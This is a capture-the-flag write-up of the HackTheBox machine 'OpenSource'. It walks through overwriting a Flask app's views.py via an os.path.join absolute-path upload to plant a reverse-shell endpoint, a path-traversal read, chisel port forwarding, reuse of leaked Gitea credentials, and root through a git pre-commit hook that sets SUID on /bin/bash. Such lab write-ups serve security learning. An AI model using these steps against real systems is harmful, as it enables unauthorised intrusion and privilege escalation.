Scanning with nmap finds a Flask webserver on port 80 for an application called "upcloud," a file uploading and sharing service. The landing page lets us download a Git repository of the source code and visit a demo of the application we downloaded. Exploring the Git repository's two branches (with a few commits per branch) reveals some credentials. There is a function in the source code that removes relative paths from uploaded file names in an attempt to prevent file uploads to other directories. However, we can use an absolute path thanks to the logic behind python's os.path.join method. Therefore, we upload a modified version of part of the application that contains a reverse shell endpoint and use burpsuite to change the filename submitted to the server. The server will overwrite the application with our modified version and then we can call our custom endpoint to get a reverse shell.
We get a reverse shell into a Docker container and access a port that nmap had marked as "filtered." This port contains a Gitea instance so we forward it to our machine using Chisel. We can sign in using the credentials previous found in the Git repository. Gitea has a repo with an SSH private key that we can use to SSH to the box.
To get root, we run pspy and notice that git commit is ran on a schedule by root to backup the user's home directory. We abuse this and create a pre-commit git hook that converts /bin/bash into a SUID binary. We wait for at most a minute and then run bash -p to get a root shell and grab the root.txt flag.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.164.
We have a Flask Werkzeug server on port 80, SSH on port 22, and a filtered port 3000.
Flask (Port 80)
There is button that lets us download the source code (hence the box name "OpenSource"). There is also a test instance running at http://10.10.11.164/upcloud, which is linked to by the last button on the page.
First, in the source code there is a Dockerfile so this site is probably running in a Docker container.
Git
This is a git repo since there is a .git folder present. git log shows two commits:
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
We can run git checkout HEAD~ to view the files from the first commit, but it is easier to run git diff HEAD~ HEAD to see the changes that were made:
Looks like dev is what is running on the box since it is what has the /upcloud URL instead of / to get to the main page. This also means ENV FLASK_DEBUG=1 is set on the box, which means we have access to the Flask debugger. According to a guide about debugging flask applications, "The debugger allows executing arbitrary Python code from the browser. It is protected by a pin, but still represents a major security risk. Do not run the development server or debugger in a production environment."
Looking at the dev branch's commits with git checkout dev && git log shows the following:
Looking at the difference between the first two commits with git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820 reveals some credentials:
These functions appear to be attempts to prevent us from writing files outside of the public/uploads/ directory. By calling recursive_replace all "../" are removed. Thus, relative paths that jump up directories will not work:
However, the upload_file function uses os.path.join, which has one important property. The documentation states the following: "Join one or more path components intelligently. The return value is the concatenation of path and any members of *paths with exactly one directory separator following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty. If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component." (emphasis mine).
So, os.path.join("blah/foo/bar", "another/path", "/here/is/an/absolute/path") evaluates to "/here/is/an/absolute/path".
os.getcwd() is used in views.py, but that also doesn't matter since the last absolute path has priority. / is not a valid character in the name of a file, but that too doesn't matter since f.filename is a property we control as part of the HTTP POST request.
Since we can write a file, we can replace the views.py file with whatever content we want. So, let's create a new version that has an endpoint that creates a reverse shell back to us:
Our rev_shell function makes it so we can send a GET request to http://10.10.11.164/8OpZIlfrhe?ip=<ip>&port=<port> and get a reverse shell. I messed around with this function for way too long. The issue was that all of my previous attempts used /bin/bash which is not present since this is a container! I should have remembered that earlier. I ended up using the standard Python reverse shell (just in its expanded line-by-line format instead of a one-liner). In theory a function like the one below should work too:
Anyway, we will use burpsuite (but you can also use Firefox's developer tools to resend the upload request) to modify the filename that is sent when we upload our modified views.py file.
Go to the upcloud interface, upload the file, and intercept the request in burpsuite. Then, edit the filename from views.py to /app/app/views.py:
Now, start a listener with pwncat-cs -lp 6090 (or use netcat) and go to http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090. This creates a reverse shell!
Alternative Reverse Shell
Remember from earlier how the Flask debugger is enabled? The machine author hinted that we should use that via the git commits. This is because you can use the debugger to get a shell. Going to http://10.10.11.164/uploads/a_file_that_doesn_exist shows an error page and clicking the shell icon next to any of the traceback messages asks for a pin to load the debugger.
This HackTricks page explains how to compute the pin. This is possible since there is a LFI exploit with the /uploads endpoint by requesting a file at /uploads/..//<path>.
Container
The shell created is receiving the standard output from Flask, which is interesting. There is a request from an internal service at 172.17.0.1 that is received every few minutes.
(remote) root@c728715d5d36:/app$ [46;34R172.17.0.1 - - [27/Jul/2022 03:58:01] "GET / HTTP/1.1" 200 -
172.17.0.1 - - [27/Jul/2022 04:00:01] "GET / HTTP/1.1" 200 -
172.17.0.1 - - [27/Jul/2022 04:02:02] "GET / HTTP/1.1" 200 -
/bin/sh: [46: not found
/bin/sh: 34R: not found
(remote) root@c728715d5d36:/app$ [46;34R
/bin/sh: [46: not found
/bin/sh: 34R: not found
(remote) root@c728715d5d36:/app$ 172.17.0.1 - - [27/Jul/2022 04:04:02] "GET / HTTP/1.1" 200 -
172.17.0.1 - - [27/Jul/2022 04:06:02] "GET / HTTP/1.1" 200 -
Looking at /, we can see that this is indeed a docker container:
We saw a filtered port 3000 from the initial nmap scan which likely means whatever service running on that port is running internally. Let's see if we can access it from within the Docker container.
(remote) root@c728715d5d36:/app$ wget 10.10.11.164:3000
Connecting to 10.10.11.164:3000 (10.10.11.164:3000)
saving to 'index.html'
index.html 100% |*****************************************************| 13414 0:00:00 ETA
'index.html' saved
(remote) root@c728715d5d36:/app$ head index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto" />
<meta name="author" content="Gitea - Git with a cup of tea" />
Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with chisel (helpful guide). Run ./chisel server -p 12350 --reverse on your attacker machine and then run ./chisel_386 client 10.10.14.98:12350 R:3000:172.17.0.1:3000 on the target (make sure to use the 386 version on the target container). You can upload chisel easily with pwncat by running upload tools/chisel_386 in the local shell (this ended by connection, but the file did upload completed and I just reconnected by reloading http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090). By the way, 172.17.0.1 is the IP address of the host from within the container.
Now, going to http://localhost:3000/ on our attacker machine loads Gitea.
Gitea (Port 3000)
Signing in with the credentials (dev01:Soulless_Developer#2022) that we found earlier in the Git repo works!
Looking at the home-backup repository shows that it has an .ssh directory with an id_rsa private key in it.
We save this to our attacker machine and use it to SSH onto the box as the dev01 user. Change the permissions for the key with chmod 600 ~/Downloads/id_rsa and then SSH with ssh dev01@10.10.11.164 -i ~/Downloads/id_rsa.
Now we can print the user.txt flag by running cat ~/user.txt.
Privilege Escalation
Instead of connecting over SSH we can connect using pwncat so we can easily upload files: pwncat-cs dev01@10.10.11.164 -i ~/Downloads/id_rsa.
Upload pspy by running upload pspy64 in pwncat's local shell. This will enable us to monitor processes that are ran without root.
We can get a hoot shell because of this thanks to git hooks. Git hooks are custom scripts that get executed "when certain important actions occur," such as a commit being made. The one we want to activate is pre-commit. Any commands we put in the file at ~/.git/hooks/pre-commit will be run as root. So, activate the sample with mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit and then add the command chmod u+s /bin/bash near the top to make bash a SUID binary. Now, we just need to wait for a most 1 minute (you can see when it runs using pspy) and we will be able to simply run bash to get a root shell.
While I waited for the shell I noticed this in pspy as well: